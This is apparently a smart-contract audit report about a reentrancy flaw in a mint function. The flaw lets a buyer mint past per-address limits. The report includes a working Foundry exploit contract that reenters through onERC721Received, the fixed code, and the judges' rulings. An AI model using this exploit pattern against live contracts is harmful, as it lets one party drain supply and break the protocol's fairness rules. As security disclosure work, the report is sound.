Reentrancy in mint function allows minting above the limit allowed per address / allowlisted address

[captainmangoC4]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/NextGenCore.sol#L189-L200

Vulnerability details

Impact

The mint function in NextGenCore.sol doesn't follow the checks-effects-interactions pattern and can be reentered through the onERC721Received function, if the receiver is a contract.
The state variables written after the call are tokensMintedAllowlistAddress (during allowlist phase) or tokensMintedPerAddress (during public mint).

function mint(uint256 mintIndex, address _mintingAddress , address _mintTo, string memory _tokenData, uint256 _saltfun_o, uint256 _collectionID, uint256 phase) external {
    // checks
    require(msg.sender == minterContract, "Caller is not the Minter Contract");
    // effects
    collectionAdditionalData[_collectionID].collectionCirculationSupply = collectionAdditionalData[_collectionID].collectionCirculationSupply + 1;
    if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) {

        // interactions => external call to "onERC721Received", if receiver is contract
        _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);

        // effects
        if (phase == 1) {
            tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
        } else {
            tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
        }
    }
}

NextGenCore 189-200

As a result, it is possible to bypass the following checks and mint more tokens than allowed per address, during the public mint phase:

require(_maxAllowance >= gencore.retrieveTokensMintedALPerAddress(col, msg.sender) + _numberOfTokens, "AL limit");

MinterContract 213

and during the allowlist phase:

require(gencore.retrieveTokensMintedPublicPerAddress(col, msg.sender) + _numberOfTokens <= gencore.viewMaxAllowance(col), "Max");

MinterContract 224

Proof of Concept

This test shows that on a collection where the total supply is 50 and the maximum allowed per address during the public mint phase is 3, a single buyer could buy up all the supply.

pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "./contracts/IERC721Receiver.sol"; // OpenZeppelin IERC721Receiver interface

import {NextGenMinterContract} from "../smart-contracts/MinterContract.sol";
import {NextGenAdmins} from "../smart-contracts/NextGenAdmins.sol";
import {NextGenCore} from "../smart-contracts/NextGenCore.sol";
import {NextGenRandomizerNXT} from "../smart-contracts/RandomizerNXT.sol";
import {randomPool} from "../smart-contracts/XRandoms.sol";
import {Ownable} from "../smart-contracts/Ownable.sol";

contract TokenRecipient is IERC721Receiver, Ownable {

    NextGenMinterContract minter;
    uint256 counter;
    bytes32[] emptyBytes32Array = new bytes32[](0);

    error CallFailed(bytes returndata);

    constructor(address _minter) payable {
        minter = NextGenMinterContract(_minter);
    }
    function execute(address target, bytes calldata data) external payable onlyOwner {
        (bool success, bytes memory returndata) = target.call{value: msg.value}(data);
        if(!success) {
            revert CallFailed(returndata);
        }
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        counter++;
        if(counter<= 49) {
            minter.mint{value: 1 ether}(1, 1, 0, "tokenData", address(this), emptyBytes32Array, address(0), 0);
        }
        return IERC721Receiver.onERC721Received.selector;
    }
}

contract Reentrancy is Test {
    address dmc = vm.addr(100); // delegation registry - just eoa because not used here
    address collArtistAddress = vm.addr(102);
    NextGenMinterContract minter;
    NextGenAdmins adminContract;
    NextGenCore nextGenCore;
    NextGenRandomizerNXT randomizer;
    randomPool xRandoms;
    uint256 tokenId;

    uint256 collectionId1 = 1;
    uint256 maxCollPurchases = 3;

    string[] emptyStringArray = new string[](0);
    bytes32 emptyBytes;
    bytes32[] emptyBytes32Array = new bytes32[](0);

    function setUp() public {
        adminContract = new NextGenAdmins();
        xRandoms = new randomPool();
        nextGenCore = new NextGenCore("name", "symbol", address(adminContract));
        randomizer = new NextGenRandomizerNXT(address(xRandoms), address(adminContract), address(nextGenCore));
        minter = new NextGenMinterContract(address(nextGenCore), dmc, address(adminContract));
        nextGenCore.addMinterContract(address(minter));

        // setup collection
        nextGenCore.createCollection("collection1", "artist1", "description", "website", "CC0", "baseURI.com", "", emptyStringArray);
        nextGenCore.setCollectionData(collectionId1, collArtistAddress, maxCollPurchases, 50, 0);
        nextGenCore.addRandomizer(collectionId1, address(randomizer));
        minter.setCollectionCosts(collectionId1, 1 ether, 0, 0, 1, 1, address(0)); // fixed price
        // no allowlist, public mint starts now and ends in 1 day
        minter.setCollectionPhases(collectionId1, block.timestamp, 0, block.timestamp, block.timestamp + 1 days, emptyBytes);
    }

    /**
    Under normal circumstances, the mint function reverts if a buyer attempts to buy more than the
    maximum allowed per address
     */
    function testFuzz_mintAboveLimitRevertsPublic(uint256 _numberOfTokens, address _buyer) public {
        vm.assume(_buyer != address(0) && _buyer != address(this));
        vm.assume(_numberOfTokens > 0 && _numberOfTokens <= 50); // totalSupply is 50
        vm.deal(_buyer, (_numberOfTokens + 3) * 1 ether);
        vm.startPrank(_buyer);
        // buyer buys 3
        minter.mint{value: 3 ether}(collectionId1, 3, 0, "tokenData", address(_buyer), emptyBytes32Array, address(0), 0);
        assertEq(nextGenCore.balanceOf(_buyer), 3);
        // reverts when buyer attempts to buy more
        vm.expectRevert();
        minter.mint{value: _numberOfTokens * 1 ether}(collectionId1, _numberOfTokens, 0, "tokenData", address(_buyer), emptyBytes32Array, address(0), 0);
        vm.stopPrank();
    }

    /**
    Buyer can mint more than 3 tokens when minting to a contract that reenters the mint function
    through the onERC721Received function
     */
    function test_ReentrancyThroughOnERC721ReceivedFunction() public {
        address buyer = vm.addr(201);
        vm.deal(buyer, 50 ether);
        vm.startPrank(buyer);
        TokenRecipient contractTokenRecipient = new TokenRecipient{value: 49 ether}(address(minter));
        contractTokenRecipient.execute{value: 1 ether}(address(minter), abi.encodeWithSelector(minter.mint.selector, collectionId1, 1, 0, "tokenData", address(contractTokenRecipient), emptyBytes32Array, address(0), 0));
        assertEq(nextGenCore.balanceOf(address(contractTokenRecipient)), 50);
        vm.stopPrank();
    }
}

Tools Used

Foundry

Recommended Mitigation Steps

The mintProcessing function, which makes the external call to onERC721Received during _safeMint, should be called at the very end of the mint function, after all the state variables are written.

    function mint(uint256 mintIndex, address _mintingAddress , address _mintTo, string memory _tokenData, uint256 _saltfun_o, uint256 _collectionID, uint256 phase) external {
        require(msg.sender == minterContract, "Caller is not the Minter Contract");
        collectionAdditionalData[_collectionID].collectionCirculationSupply = collectionAdditionalData[_collectionID].collectionCirculationSupply + 1;
        if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) {
            if (phase == 1) {
                tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
            } else {
                tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
            }
            _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
        }
    }

NextGenCore 189-200

Similarly in airDropTokens and burnToMint, _mintProcessing should be called after making all state changes.

NextGenCore 178-185

NextGenCore 213-223

Other state variables in MinterContract are written after the call to the recipient contract:
collectionTotalAmount
MinterContract 238 MinterContract 272 MinterContract 366

lastMintDate
MinterContract 252 MinterContract 2296

mintToAuctionData and mintToAuctionStatus
MinterContract 297-298

This could potentially be used to bypass checks related to the time difference that is enforced between mints.

Assessed type

Reentrancy

[captainmangoC4]

Issue created on behalf of judge in order to split into 2 findings

[c4-judge]

alex-ppg marked the issue as duplicate of #572

[c4-judge]

alex-ppg marked the issue as partial-25

[alex-ppg]

The Warden does denote that the periodic-sale related variable is updated after a re-entrant call, however, the main focus of their submission is #1517 rendering this submission to be of 25% credit.

[c4-judge]

alex-ppg changed the severity to 3 (High Risk)

[c4-judge]

alex-ppg marked the issue as unsatisfactory: Invalid